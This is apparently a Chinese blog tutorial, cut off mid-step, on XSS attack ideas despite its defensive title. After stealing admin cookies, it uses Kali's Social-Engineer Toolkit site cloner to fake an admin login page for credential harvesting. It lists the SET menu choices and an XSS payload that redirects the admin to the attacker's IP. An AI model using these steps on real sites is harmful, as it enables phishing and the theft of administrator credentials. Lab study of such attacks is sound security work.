有效防御xss攻击的方法：XSS 攻击思路总结
有效防御xss攻击的方法：XSS 攻击思路总结Bash Select from the menu: 1) Social-Engineering Attacks # 社会工程攻击 2) Penetration Testing (Fast-Track) # 渗透测试（快速通道） 3) Third Party Modules # 第三方模块 4) Update the Social-Engineer Toolkit # 更新 SET 5) Update SET configuration # 更新 SET 配置 6) Help Credits and About # 帮助 99) Exit the Social-Engineer Toolkit # 退出 set> 1选择 1 后进入到下面的菜
可以直接看到管理员的后台地址和 cookie 信息，拿到后台地址和 Cookie 信息就可以直接抓包替换 Cookie 登录到钓鱼网站的后台，这些基本操作国光我就不在啰嗦了，下面来说一下另一种思路。
思路二：SET 钓鱼假设目标网站存在 httppnly 的话，我们拿到的 cookie 信息也是不完整的，所以传统的思路是行不通的，这种情况下该怎么办呢？仔细想想，既然不能正面肛 httponly 的话，那么为什么不考虑绕过他呢？
下面国光主要描述一下如何使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。
SET 在 Kali Linux 里面的全称是 social engineering toolkit：
Github 项目地址为：https://github.com/trustedsec/social-engineer-toolkit
点击即可直接启动，首先会看到如下的菜单：
Bash
Select from the menu:
1) Social-Engineering Attacks # 社会工程攻击
2) Penetration Testing (Fast-Track) # 渗透测试（快速通道）
3) Third Party Modules # 第三方模块
4) Update the Social-Engineer Toolkit # 更新 SET
5) Update SET configuration # 更新 SET 配置
6) Help Credits and About # 帮助
99) Exit the Social-Engineer Toolkit # 退出
set> 1
选择 1 后进入到下面的菜单：
Bash
Select from the menu:
1) Spear-Phishing Attack Vectors # 鱼叉式网络钓鱼攻击
2) Website Attack Vectors # 网站攻击
3) Infectious Media Generator # 感染性介质生成
4) Create a Payload and Listener # 创建 Payload 和 监听器
5) Mass Mailer Attack # 群发邮件
6) Arduino-Based Attack Vector # 基于 Arduino 的攻击
7) Wireless Access Point Attack Vector # 无线接入点攻击
8) QRCode Generator Attack Vector # 二维码生成器攻击
9) Powershell Attack Vectors # Powershell 攻击
10) Third Party Modules # 第三方模块
99) Return back to the main menu. # 返回主菜单
set> 2
选择 2 后进入到下面的菜单：
Bash
1) Java Applet Attack Method # Java Applet 攻击
2) Metasploit Browser Exploit Method # Metasploit Browser 浏览器攻击
3) Credential Harvester Attack Method # 凭证窃取攻击
4) Tabnabbing Attack Method # 标签页劫持
5) Web Jacking Attack Method # 网页劫持攻击
6) Multi-Attack Web Method # 综合网页攻击
7) HTA Attack Method # HTA 攻击
99) Return to Main Menu # 返回主菜单
set:webattack> 3
选择 3 进入到下面的菜单：
Bash
1) Web Templates # 网站模板
2) Site Cloner # 站点克隆
3) Custom Import # 自定义导入
99) Return to Webattack Menu # 返回主菜单
set:webattack> 2
选择 2 然后具体看下下面的操作：
这个时候一个假的钓鱼网站就制作完成了，访问 Kali Linux 的 80 端 10.20.25.39 效果如下：
这个登录入口和 qq.xps.com/admin/login.php 的登录口一模一样：
现在的任务就是想办法让管理员在假的网站里面输入网站的后台用户名和密码信息，那么该怎么诱导管理员点击呢？对，聪明的网友肯定想到了，还是利用 XSS，准备下方的 payload，这个 XSS 的作用就是普通的链接跳转：
Javascript
<script>window.location.href="http://10.20.25.39/"</script>
然后将这个 payload 插入到钓鱼网站的后台中：
